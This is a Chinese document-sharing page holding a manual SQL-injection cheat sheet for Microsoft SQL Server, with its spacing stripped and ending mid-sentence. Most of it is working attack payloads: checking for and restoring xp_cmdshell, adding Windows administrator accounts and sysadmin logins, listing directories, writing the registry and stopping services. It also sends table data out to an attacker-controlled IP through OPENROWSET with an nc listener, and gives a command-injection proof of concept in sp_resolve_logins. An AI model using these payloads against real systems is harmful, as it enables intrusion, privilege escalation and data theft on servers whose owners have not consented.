您好,欢迎访问三七文档
--是否存在xp_cmdshelland1=(selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell')--用xp_cmdshell执行命令;execmaster..xp_cmdshellnetusernamepassword/add--;execmaster..xp_cmdshellnetlocalgroupnameadministrators/add----查看权限and(selectIS_SRVROLEMEMBER('sysadmin'))=1--//saand(selectIS_MEMBER('db_owner'))=1--//dboand(selectIS_MEMBER('public'))=1--//public--创建个登陆mssql的帐号;execmaster.dbo.sp_addloginname,pass;----把创建的mssql登陆帐号提升到sysadmin;execmaster.dbo.sp_addsrvrolemembername,sysadmin;--有用的扩展--获得MSSQL的版本号//mssql版本executemaster..sp_msgetversion//dbopublic--得到硬盘文件信息//dbopublic--参数说明:目录名,目录深度,是否显示文件//读取磁盘目录和文件executemaster..xp_dirtree'c:'//列出所有c:\文件和目录,子目录executemaster..xp_dirtree'c:',1//只列c:\文件夹executemaster..xp_dirtree'c:',1,1//列c:\文件夹加文件--列出服务器上所有windows本地组executemaster..xp_enumgroups//dbo--得到当前sqlserver服务器的计算机名称//获得计算机名executemaster..xp_getnetname//dbopublic--列出指定目录的所有下一级子目录EXEC[master].[dbo].[xp_subdirs]'c:\WINNT'//可以列目录--列出服务器上固定驱动器,以及每个驱动器的可用空间executemaster..xp_fixeddrives//dbopublic--显示系统上可用的盘符executemaster..xp_availablemedia//dbo--获取某文件的相关属性executemaster..xp_getfiledetails'C:1.txt'//dbopublic--统计数据库里每个表的详细情况execsp_MSforeachtable'sp_spaceused''?'''//查询表//dbopublic--获得每个表的记录数和容量execsp_MSforeachtable'select''?''','?','sp_spaceused''?''','SELECTcount(*)FROM?'//dbopubilc--更新Table1/Table2中note列为NULL的值sp_MSforeachtable'Update?Setnote=''''Wherenoteisnull',null,null,null,'ANDo.namein(''Table1'',''Table2'')--列出服务器域名xp_ntsec_enumdomains//机器名//dbopublic--停止或者启动某个服务xp_servicecontrol'stop','schedule'//schedule是服务得名称//dbo--用pid来停止某个执行中的程序xp_terminate_process123//123是pid//dbo--只列某个目录下的子目录dbo.xp_subdirs'C:'//dbo--服务器安全模式信息xp_loginconfig//dboxp_regaddmultistringxp_regdeletekeyxp_regdeletevaluexp_regenumkeysxp_regenumvaluesxp_regreadxp_regremovemultistringxp_regwrite--将新扩展存储过程的名称注册到Microsoft?SQLServer?上。sp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'//恢复xp_cmdshell恢复过程sp_addextendedproc如下:createproceduresp_addextendedproc---1996/08/3020:13@functnamenvarchar(517),/*(owner.)nameoffunctiontocall*/@dllnamevarchar(255)/*nameofDLLcontainingfunction*/assetimplicit_transactionsoffif@@trancount0beginraiserror(15002,-1,-1,'sp_addextendedproc')return(1)enddbccaddextendedproc(@functname,@dllname)return(0)--sp_addextendedproc创建新的Microsoft?SQLServer?登录//只有sysadmin和securityadmin固定服务器角色的成员才可以执行sp_addlogin。补丁版本其中的8.00.760就是SQLServer的版本和补丁号。对应关系如下:8.00.194-——————SQLServer2000RTM8.00.384-——————(SP1)8.00.534-——————(SP2)8.00.760-——————(SP3)在db权限并且分离获取mssql数据库服务器ip的方法1.本地nc监听nc-vvlp802.;insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;','select*fromdest_table')select*fromsrc_table;--其他的都不用管xp_cmdshell的删除及恢复恢复xp_cmdshell的方法删除扩展存储过过程xp_cmdshell的语句execsp_dropextendedproc’xp_cmdshell’恢复cmdshell的sql语句execsp_addextendedprocxp_cmdshell,@dllname=’xplog70.dll’execmaster.dbo.addextendedproc’xp_cmdshell’,’xplog70.dll’;selectcount(*)frommaster.dbo.sysobjectswherextype=’x’and返回结果为1就ok否则需上传c:\inetput\web\xplog70.dll后execmaster.dbo.sp_addextendedproc’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--如果是用以下方法删除dropproceduresp_addextendedprocdropproceduresp_oacreateexecsp_dropextendedproc’xp_cmdshell’则可以用以下语句恢复dbccaddextendedproc(sp_oacreate,odsole70.dll)dbccaddextendedproc(xp_cmdshell,xplog70.dll)这样可以直接恢复,不用去管sp_addextendedproc是不是存在去掉tenlnet的ntlm认证;execmaster.dbo.xp_cmdshell'tlntadmnconfigsec=-ntlm'—public权限列目录提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表createtable##nonamed(dirntext,numint)--调用存储过程把执行回来的数据存到临时表里面insert##nonamedexecutemaster..xp_dirtree'c:\',1--然后采用openrowset函数把临时表的数据导到本地MSSQL的dirtree表里面了insertintoopenrowset('sqloledb','192.0.0.1';'user';'pass','select*fromNorthwind.dbo.dirtree')select*from##nonamed以上方法,也就是说public可以遍历用户服务器的目录MSSQL自身存储过程的一个注入master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。分析:SELECT@dest_path=RTRIM(LTRIM(@dest_path))--Ifthelastcharis'\',removeit.IFsubstring(@dest_path,len(@dest_path),1)='\'SELECT@dest_path=substring(@dest_path,1,len(@dest_path)-1)--Don'tdovalidationifitisaUNCpathduetosecurityproblem.--Iftheserverisstartedasaserviceusinglocalsystemaccount,we--don'thaveaccesstotheUNCpath.IFsubstring(@dest_path,1,2)'\\'BEGINSELECT@command='dir'+@dest_path+''exec@retcode=master..xp_cmdshell@command,'no_output'IF@@error0RETURN(1)IF@retcode0BEGINraiserror(14430,16,-1,@dest_path)RETURN(1)ENDENDmaster..sp_resolve_logins存储过程在这一段,经过一定的判断,对@dest_path进行了一定的过滤。但是没有过滤(双引号)导致了xp_cmdshell执行任意SQL语句测试代码:EXECsp_resolve_logins'text','e:\asp\&netuseradminaadmin/add&netlocalgroupadministratorsadmina/add&dire:\asp','1.asp'执行上述MSSQL语句,成功添加了一个名为admina的系统帐号但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号Re:沙盒通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接(至少对master库具有db_owner权限,默认情况下是没有的),就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下execmaseter.dbo.xp_regwriteRoot_Key,SubKey,Value_Type,Value如果存在一个sa或者dbowner的连接的SQL注入点,就
本文标题:手工注入SQL
链接地址:https://www.777doc.com/doc-4800351 .html